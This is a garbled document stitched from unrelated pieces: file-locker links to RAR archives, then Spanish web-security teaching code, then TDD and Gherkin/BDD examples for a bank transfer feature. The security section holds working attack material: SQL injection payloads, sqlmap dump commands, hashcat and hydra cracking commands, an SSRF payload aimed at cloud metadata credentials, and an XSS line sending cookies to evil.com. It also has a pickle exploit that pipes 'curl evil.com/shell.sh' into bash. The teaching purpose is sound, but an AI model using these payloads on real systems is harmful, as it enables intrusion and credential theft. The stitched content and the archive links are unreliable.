https://mega4upload.net/9k07ng1eeqes
https://rg.to/file/1adbb6543e71367b153693d83eb0e936
https://uploady.io/k928v7hd499v/NBS20Sep26nonfic.rar
https://www.up-4ever.net/cjhtyrv78411

https://mega4upload.net/9ibvn3v1lc35
https://rg.to/file/40ca18ac295991f7080fc867364ce4e2
https://uploady.io/9b3lyfcnqrba/NBS20Sep26fic.rar
https://www.up-4ever.net/u9uj7orisopz

https://mega4upload.net/b2b8w0xlqyqi
https://rg.to/file/6c465309b9ebf96eafb3d008b8dd4061
https://uploady.io/6dziq1wjdtr0/NBS13Sep26Nonfic.rar
https://www.up-4ever.net/fp46c62kls23

<?php
// GET /factura.php?id=1043
$id = $_GET['id'];

$stmt = $pdo->prepare("SELECT * FROM facturas WHERE id = ?");
$stmt->execute([$id]);
$factura = $stmt->fetch();

// Se muestra la factura... de cualquiera.
echo json_encode($factura);
?>

# Soy el usuario que ve su factura 1043
curl -b "session=..." "https://tienda.com/factura.php?id=1043"

# Cambio el ID y leo la del vecino
curl -b "session=..." "https://tienda.com/factura.php?id=1044"
curl -b "session=..." "https://tienda.com/factura.php?id=1045"

# Un bucle y me llevo TODAS las facturas del sistema
for i in $(seq 1 9999); do
  curl -s -b "session=..." "https://tienda.com/factura.php?id=$i" >> dump.json
done

<?php
$id = $_GET['id'];

// La query filtra TAMBIEN por el usuario de la sesion.
$stmt = $pdo->prepare(
    "SELECT * FROM facturas WHERE id = ? AND usuario_id = ?"
);
$stmt->execute([$id, $_SESSION['usuario_id']]);
$factura = $stmt->fetch();

if (!$factura) {
    http_response_code(404); // 404, no 403: no revelamos que existe
    exit(json_encode(["error" => "No encontrado"]));
}
echo json_encode($factura);
?>

<?php
// Registro de usuario - MAL
$password = $_POST['password'];
$hash = md5($password);   // roto: rapido y sin salt

$stmt = $pdo->prepare("INSERT INTO usuarios (email, pass) VALUES (?, ?)");
$stmt->execute([$_POST['email'], $hash]);
?>

# Un GPU medianamente decente prueba miles de millones de MD5/s
hashcat -m 0 -a 0 hashes_md5.txt rockyou.txt

# Para SHA1 sin salt, mismo cuento
hashcat -m 100 -a 0 hashes_sha1.txt rockyou.txt

# Sin GPU, hasta un sitio web te resuelve un MD5 comun al instante

<?php
// Registro - BIEN
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID);

$stmt = $pdo->prepare("INSERT INTO usuarios (email, pass) VALUES (?, ?)");
$stmt->execute([$_POST['email'], $hash]);

// Login - verificacion
$stmt = $pdo->prepare("SELECT pass FROM usuarios WHERE email = ?");
$stmt->execute([$_POST['email']]);
$fila = $stmt->fetch();

if ($fila && password_verify($_POST['password'], $fila['pass'])) {
    // OK. Y de paso, re-hasheamos si el algoritmo quedo viejo:
    if (password_needs_rehash($fila['pass'], PASSWORD_ARGON2ID)) {
        // ... actualizar hash en la base
    }
}
?>

<?php
// Login - MAL. Concatenacion directa.
$user = $_POST['user'];
$pass = $_POST['pass'];

$sql = "SELECT * FROM usuarios 
        WHERE user = '$user' AND pass = '$pass'";
$resultado = $mysqli->query($sql);

if ($resultado->num_rows > 0) {
    // Autenticado
}
?>

admin' -- 

SELECT * FROM usuarios WHERE user = 'admin' -- ' AND pass = '...'

' OR '1'='1

' UNION SELECT username, password, 3 FROM usuarios -- 

' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) -- 

# sqlmap detecta y explota automaticamente
sqlmap -u "https://sitio.com/producto?id=5" --dbs
sqlmap -u "https://sitio.com/producto?id=5" -D tienda --tables
sqlmap -u "https://sitio.com/producto?id=5" -D tienda -T usuarios --dump

<?php
// Login - BIEN. Prepared statement.
$stmt = $pdo->prepare(
    "SELECT * FROM usuarios WHERE user = ? AND pass_hash = ?"
);
$stmt->execute([$_POST['user'], hash_login($_POST['pass'])]);
$usuario = $stmt->fetch();
?>

<?php
// resultados.php?q=...
echo "<h2>Resultados para: " . $_GET['q'] . "</h2>";
?>

<script>document.location='https://evil.com/rob?c='+document.cookie</script>

<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<?php
// BIEN: escapamos para contexto HTML
echo "<h2>Resultados para: " 
   . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') 
   . "</h2>";
?>

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

<?php
// MAL: input directo a la shell
$host = $_GET['host'];
system("ping -c 4 " . $host);
?>

# MAL: el cupon se valida pero nunca se invalida
def aplicar_cupon(carrito, codigo):
    cupon = db.cupones.find_one({"codigo": codigo})
    if cupon and cupon["activo"]:
        carrito.total *= (1 - cupon["descuento"])
    return carrito
    # el mismo cupon del 50% se puede aplicar infinitas veces

# BIEN: operacion atomica que invalida el cupon
def aplicar_cupon(carrito, codigo):
    # findOneAndUpdate atomico: solo triunfa si el cupon sigue activo
    cupon = db.cupones.find_one_and_update(
        {"codigo": codigo, "activo": True},
        {"$set": {"activo": False, "usado_por": carrito.usuario_id}}
    )
    if not cupon:
        raise ValueError("Cupon invalido o ya utilizado")
    carrito.total *= (1 - cupon["descuento"])
    return carrito

<?php
// MAL en produccion
ini_set('display_errors', 1);
error_reporting(E_ALL);
// Un error ahora imprime: ruta absoluta, version de PHP,
// credenciales de la DB si estan en el stack trace, etc.
?>

# MAL: expone todos los archivos del directorio
<Directory /var/www/html>
    Options Indexes FollowSymLinks
</Directory>

# Buscar paneles, backups y config expuestos
curl https://sitio.com/.git/config          # repo git expuesto
curl https://sitio.com/backup.sql           # dump de la base
curl https://sitio.com/.env                 # variables con secretos
curl https://sitio.com/phpinfo.php          # info completa del server
curl https://sitio.com/admin/               # panel sin proteger

# Herramientas que automatizan el barrido
nikto -h https://sitio.com
gobuster dir -u https://sitio.com -w wordlist.txt

server {
    server_tokens off;                    # oculta la version de nginx

    # Headers de seguridad
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Strict-Transport-Security "max-age=63072000" always;
    add_header Content-Security-Policy "default-src 'self'" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Bloquear archivos sensibles
    location ~ /\.(git|env|htaccess) { deny all; return 404; }
    location ~ \.(sql|bak|backup)$    { deny all; return 404; }

    autoindex off;                        # sin listado de directorios
}

# Detectar tecnologias y versiones
whatweb https://sitio.com
nmap -sV --script=vuln sitio.com

# Escanear dependencias de un proyecto
npm audit
retire --path ./           # librerias JS con CVEs conocidos

# Buscar el exploit correspondiente
searchsploit apache 2.4.49

# .github/workflows/security.yml
name: dependency-check
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Auditar dependencias
        run: npm audit --audit-level=high
        # falla el build si hay vulnerabilidades de nivel high o critical

# Fuerza bruta / stuffing con Hydra
hydra -L usuarios.txt -P passwords.txt sitio.com \
      http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Si la sesion no expira, una cookie robada sirve para siempre

# Login con las buenas practicas
from argon2 import PasswordHasher
import secrets

ph = PasswordHasher()

def login(email, password, ip):
    if intentos_recientes(ip) > 5:
        raise Bloqueado("Demasiados intentos, espera unos minutos")

    user = db.usuarios.find_one({"email": email})
    # Mensaje identico exista o no el usuario (evita enumeracion)
    if not user or not verificar(ph, user["hash"], password):
        registrar_intento_fallido(ip)
        raise AuthError("Credenciales invalidas")

    # Token de sesion aleatorio y fuerte
    token = secrets.token_urlsafe(32)
    guardar_sesion(token, user["id"], expira_en=1800)
    return token

# MAL: deserializar datos del usuario con pickle
import pickle, base64

def cargar_preferencias(cookie):
    datos = base64.b64decode(cookie)
    return pickle.loads(datos)   # ejecuta lo que venga

# El atacante genera una cookie maliciosa
import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl evil.com/shell.sh | bash",))

payload = base64.b64encode(pickle.dumps(Exploit()))
# Manda esa cookie -> el server ejecuta el comando al hacer pickle.loads

# BIEN: JSON, que solo transporta datos, nunca objetos ejecutables
import json

def cargar_preferencias(cookie_json):
    datos = json.loads(cookie_json)  # no puede instanciar clases
    # ademas validamos el esquema antes de usarlo
    return validar_preferencias(datos)

<script src="https://cdn.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>

import logging

seg = logging.getLogger("seguridad")

def login(email, password, ip):
    user = autenticar(email, password)
    if not user:
        # Se loguea el intento, NUNCA la password
        seg.warning(
            "login_fallido email=%s ip=%s ua=%s",
            email, ip, request.headers.get("User-Agent")
        )
        raise AuthError("Credenciales invalidas")

    seg.info("login_ok user_id=%s ip=%s", user.id, ip)
    return crear_sesion(user)

# MAL: pide cualquier URL que mande el usuario
import requests

def obtener_imagen(url):
    r = requests.get(url)   # sin validar el destino
    return r.content

# GET /preview?url=https://ejemplo.com/foto.png

# Apuntar al servicio de metadatos de la nube (AWS)
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Escanear servicios internos que desde afuera no se ven
GET /preview?url=http://localhost:6379/           # Redis interno
GET /preview?url=http://192.168.1.10:8080/admin   # panel interno

# Leer archivos locales via esquema file://
GET /preview?url=file:///etc/passwd

# BIEN: lista blanca de dominios y validacion de IP
import requests, socket, ipaddress
from urllib.parse import urlparse

DOMINIOS_OK = {"cdn.miapp.com", "imagenes.miapp.com"}

def obtener_imagen(url):
    p = urlparse(url)
    if p.scheme not in ("http", "https"):
        raise ValueError("Esquema no permitido")
    if p.hostname not in DOMINIOS_OK:
        raise ValueError("Dominio no permitido")

    # Verificar que la IP no sea interna/privada
    ip = ipaddress.ip_address(socket.gethostbyname(p.hostname))
    if ip.is_private or ip.is_loopback or ip.is_link_local:
        raise ValueError("Destino interno bloqueado")

    return requests.get(url, timeout=5, allow_redirects=False).content

# tests/test_descuentos.py
from app.descuentos import calcular_descuento


def test_sin_descuento_por_debajo_de_1000():
    assert calcular_descuento(999) == 0

$ pytest -q
E   ModuleNotFoundError: No module named 'app.descuentos'
1 error in 0.04s

# app/descuentos.py
def calcular_descuento(total):
    return 0

def test_diez_por_ciento_entre_1000_y_5000():
    assert calcular_descuento(1000) == 100
    assert calcular_descuento(4999) == 499.9

def calcular_descuento(total):
    if total < 1000:
        return 0
    return total * 0.10

def test_veinte_por_ciento_desde_5000():
    assert calcular_descuento(5000) == 1000
    assert calcular_descuento(12000) == 2400


def test_monto_negativo_es_invalido():
    import pytest
    with pytest.raises(ValueError):
        calcular_descuento(-1)

def calcular_descuento(total):
    if total < 0:
        raise ValueError("El total no puede ser negativo")
    if total < 1000:
        return 0
    if total < 5000:
        return total * 0.10
    return total * 0.20

from decimal import Decimal

# Tramos: (monto_minimo, porcentaje). Ordenados de mayor a menor.
TRAMOS = (
    (Decimal("5000"), Decimal("0.20")),
    (Decimal("1000"), Decimal("0.10")),
    (Decimal("0"),    Decimal("0.00")),
)


def calcular_descuento(total):
    total = Decimal(str(total))
    if total < 0:
        raise ValueError("El total no puede ser negativo")

    for minimo, porcentaje in TRAMOS:
        if total >= minimo:
            return total * porcentaje

    return Decimal("0")

   +---------------------+   "que problema
   |  Negocio / Producto |    queremos resolver?"
   +----------+----------+
              |
   +----------+----------+   "como lo
   |     Desarrollo      |    construimos?"
   +----------+----------+
              |
   +----------+----------+   "que pasa si...?"
   |    QA / Testing     |    (casos borde)
   +---------------------+

   LOOP EXTERNO (BDD / comportamiento - lenguaje de negocio)
   +----------------------------------------------------------+
   |                                                          |
   |   escribir escenario  -->  escenario en ROJO             |
   |          ^                        |                      |
   |          |                        v                      |
   |          |        LOOP INTERNO (TDD / unidades)          |
   |          |        +------------------------------+       |
   |          |        | test rojo -> codigo -> verde |       |
   |          |        |       ^                |     |       |
   |          |        |       +---- refactor <-+     |       |
   |          |        +------------------------------+       |
   |          |                        |                      |
   |          +---- escenario en VERDE +                      |
   |                                                          |
   +----------------------------------------------------------+

  Feature:          titulo y descripcion del conjunto de comportamientos
    |
    +-- Rule:       (opcional, Gherkin 6+) agrupa escenarios por regla de negocio
    |
    +-- Background: pasos comunes que corren antes de CADA escenario
    |
    +-- Scenario:   un ejemplo concreto de comportamiento
    |     |
    |     +-- Given  contexto / estado inicial
    |     +-- When   la accion que dispara el comportamiento
    |     +-- Then   el resultado esperado (observable)
    |     +-- And / But   encadenan al paso anterior
    |
    +-- Scenario Outline: plantilla parametrizada
          +-- Examples: tabla de datos que la alimenta

# language: es
@transferencias @critico
Característica: Transferencias entre cuentas propias

  Como cliente del banco
  Quiero transferir dinero entre mis cuentas
  Para administrar mis fondos sin ir a una sucursal

  Antecedentes:
    Dado que estoy autenticado como "mlopez"
    Y tengo una caja de ahorro "CA-001" con saldo de 50000 pesos
    Y tengo una cuenta corriente "CC-002" con saldo de 10000 pesos

  Escenario: Transferencia exitosa entre cuentas propias
    Cuando transfiero 20000 pesos desde "CA-001" hacia "CC-002"
    Entonces la operación se confirma
    Y el saldo de "CA-001" es 30000 pesos
    Y el saldo de "CC-002" es 30000 pesos
    Y recibo un comprobante con número de operación

  Escenario: Se rechaza la transferencia por saldo insuficiente
    Cuando transfiero 80000 pesos desde "CA-001" hacia "CC-002"
    Entonces la operación es rechazada
    Y veo el mensaje "Saldo insuficiente"
    Y los saldos de mis cuentas no se modifican

  Esquema del escenario: Validación de montos inválidos
    Cuando transfiero <monto> pesos desde "CA-001" hacia "CC-002"
    Entonces la operación es rechazada
    Y veo el mensaje "<mensaje>"

    Ejemplos:
      | monto  | mensaje                             |
      | 0      | El monto debe ser mayor a cero      |
      | -500   | El monto debe ser mayor a cero      |
      | 999999 | Supera el límite diario de 500000   |

# features/steps/transferencias.py
from behave import given, when, then
from app.banco import Banco, SaldoInsuficiente, MontoInvalido


@given('que estoy autenticado como "{usuario}"')
def step_autenticar(context, usuario):
    context.banco = Banco()
    context.sesion = context.banco.login(usuario)


@given('tengo una {tipo} "{numero}" con saldo de {saldo:d} pesos')
def step_crear_cuenta(context, tipo, numero, saldo):
    context.banco.abrir_cuenta(context.sesion, numero, tipo, saldo)


@when('transfiero {monto:d} pesos desde "{origen}" hacia "{destino}"')
def step_transferir(context, monto, origen, destino):
    context.error = None
    try:
        context.resultado = context.banco.transferir(
            context.sesion, origen, destino, monto
        )
    except (SaldoInsuficiente, MontoInvalido) as e:
        context.error = e


@then('la operación se confirma')
def step_confirmada(context):
    assert context.error is None, f"Fallo inesperado: {context.error}"
    assert context.resultado.estado == "CONFIRMADA"


@then('la operación es rechazada')
def step_rechazada(context):
    assert context.error is not None, "Se esperaba un rechazo"


@then('el saldo de "{numero}" es {esperado:d} pesos')
def step_verificar_saldo(context, numero, esperado):
    real = context.banco.consultar_saldo(context.sesion, numero)
    assert real == esperado, f"Esperado {esperado}, obtenido {real}"


@then('veo el mensaje "{mensaje}"')
def step_mensaje(context, mensaje):
    assert str(context.error) == mensaje

// features/step_definitions/transferencias.js
const { Given, When, Then } = require('@cucumber/cucumber');
const assert = require('assert');
const { Banco, SaldoInsuficiente } = require('../../src/banco');

Given('que estoy autenticado como {string}', function (usuario) {
  this.banco = new Banco();
  this.sesion = this.banco.login(usuario);
});

When(
  'transfiero {int} pesos desde {string} hacia {string}',
  function (monto, origen, destino) {
    this.error = null;
    try {
      this.resultado = this.banco.transferir(this.sesion, origen, destino, monto);
    } catch (e) {
      this.error = e;
    }
  }
);

Then('el saldo de {string} es {int} pesos', function (numero, esperado) {
  const real = this.banco.consultarSaldo(this.sesion, numero);
  assert.strictEqual(real, esperado);
});

# Python / behave
behave --tags=@critico --lang=es

# JavaScript / Cucumber.js
npx cucumber-js --tags "@critico and not @wip"

# Java / Cucumber-JVM con Maven
mvn test -Dcucumber.filter.tags="@critico"

Escenario: Login
  Dado que abro el navegador en "https://banco.com/login"
  Cuando escribo "mlopez" en el campo con id "#username"
  Y escribo "secreto123" en el campo con id "#password"
  Y hago clic en el botón ".btn-primary"
  Y espero 3 segundos
  Entonces veo el div con clase ".dashboard-container"

Escenario: Login exitoso con credenciales válidas
  Dado que soy un cliente registrado
  Cuando ingreso con mis credenciales válidas
  Entonces accedo a mi panel de cuentas